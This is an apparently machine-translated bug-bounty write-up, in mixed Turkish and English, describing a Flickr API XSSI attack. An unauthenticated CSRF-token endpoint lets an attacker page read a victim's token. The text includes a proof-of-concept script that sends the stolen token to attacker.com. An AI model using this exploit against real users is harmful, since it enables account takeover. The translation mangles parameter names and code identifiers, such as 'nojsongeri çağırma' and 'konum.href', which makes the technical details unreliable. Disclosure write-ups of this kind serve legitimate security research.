XSSI Tarafından Yapılan Tüm Flickr API Çağrılarının Arka Kapısı – Ron Chan


Flickr ATO düzeltme bypassını bildirdikten sonra, birkaç gün Flickr’dan ayrıldım ve Uber’in peşine düştüm. Hedeften sıkıldıkça zaman zaman hedefi değiştiriyorum.

Flickr’a döndüğümde trafikte aynı türden istekler görünmeye devam ediyor.

https://api.flickr.com/services/rest?page=1&per_page=6&sample_photos_count=8&viewerNSID=67364537%40N02&method=flickr.groups.recommendations&csrf=1502485507%3Ahzg1234451c92j4i%3A285a4685e2ebc8d7a4b4555a54d77395&api_key=b0faaf195123123cf44a4a14e9dabf&format=json&hermes=1&hermesClient=1&reqId=75e70106&nojsoncallback=1

Flickr’ın peşine düştüyseniz bu istek size tanıdık gelmelidir. Dikkatimi çeken iki parametre biçimVe nojsongeri çağırma

Neden? Çünkü bir şekilde formatı JSON’dan XML’e veya HTML’ye değiştirebilirsek yanıt formatını kontrol edebiliriz gibi görünüyor veya JSONP. Daha sonra XSS veya XSSI’yi daha ayrıntılı olarak araştırabiliriz. (Okuyucuların XSSI’nin ne olduğunu bildiğini varsayıyorum, bilmiyorsanız endişelenmeyin, Google Bughunter Üniversitesi’ni görene kadar XSSI’yi bilmiyordum)

Parametreyi değiştiriyorum nojsongeri çağırma=1 ile nojsongeri çağırma=0yanıt gerçekten beklediğim gibiydi.

jsonFlickrApi({"gruplar":{"sayfa":1,"sayfalar":17,"sayfa başına":6,"toplam":100,"grup":[{"nsid":"42097308@N00","name":"Less Is More..."......})

This is obviously an XSSI, but it seems there is a few protection in place that prevent the XSSI attack, they are api_key and csrf.

Soon I find out the api_key is used universally, not bounded to any user session. Only obstacle left for the XSSI is csrf.

I need to dig deeper to see where does this csrf come from. I scroll through the Burp traffic and finally, I saw a request, and the method name of the requset is just amazing

https://api.flickr.com/services/rest?method=flickr.site.getCsrf&csrf=a&api_key=3b5d2007fe2f131c60ae514fb65221b4&format=json&hermes=1&hermesClient=1&reqId=&nojsoncallback=0a

The method name is flickr.site.getCsrf, wait, how do we get a csrf token WITHOUT a csrf token? It turns out indeed the user does not need any csrf token to get a csrf token. (Take some time to understand the sentence)

Now we can have a complete PoC.

First, attacker trick victim to visit a malicious site, that host a script to obtain the victim’s csrf token with this script.

 function jsonFlickrApi(a){
 var b = a['token']['_content']; konum.href = "http://attacker.com/csrf_flickr2.php?token = " + b; }

< script src=https://api.flickr.com/services/rest?method=flickr.site.getCsrf&csrf=a&api_key=3b5d2007fe2f131c60ae514fb65221b4&format=json&hermes=1&hermesClient=1&reqId=&nojsoncallback=0 > < /script >

Saldırgan artık kurbanın csrf belirtecine sahiptir, bu da kurbanın tüm API çağrılarına ücretsiz bir bilet anlamına gelir; Flickr API çağrılarının XSSI’sine karşı tek koruma csrf belirteci olduğundan artık kurban adına herhangi bir API çağrısını düzenleyebilir ve artık bu saldırganın elindedir, kurban için oyun biter.

Umarım bunu beğenirsiniz, bir sonraki yazım da Flickr Hesap Devri hakkında olacak, bizi izlemeye devam edin.

Ödül: 7 bin



Source link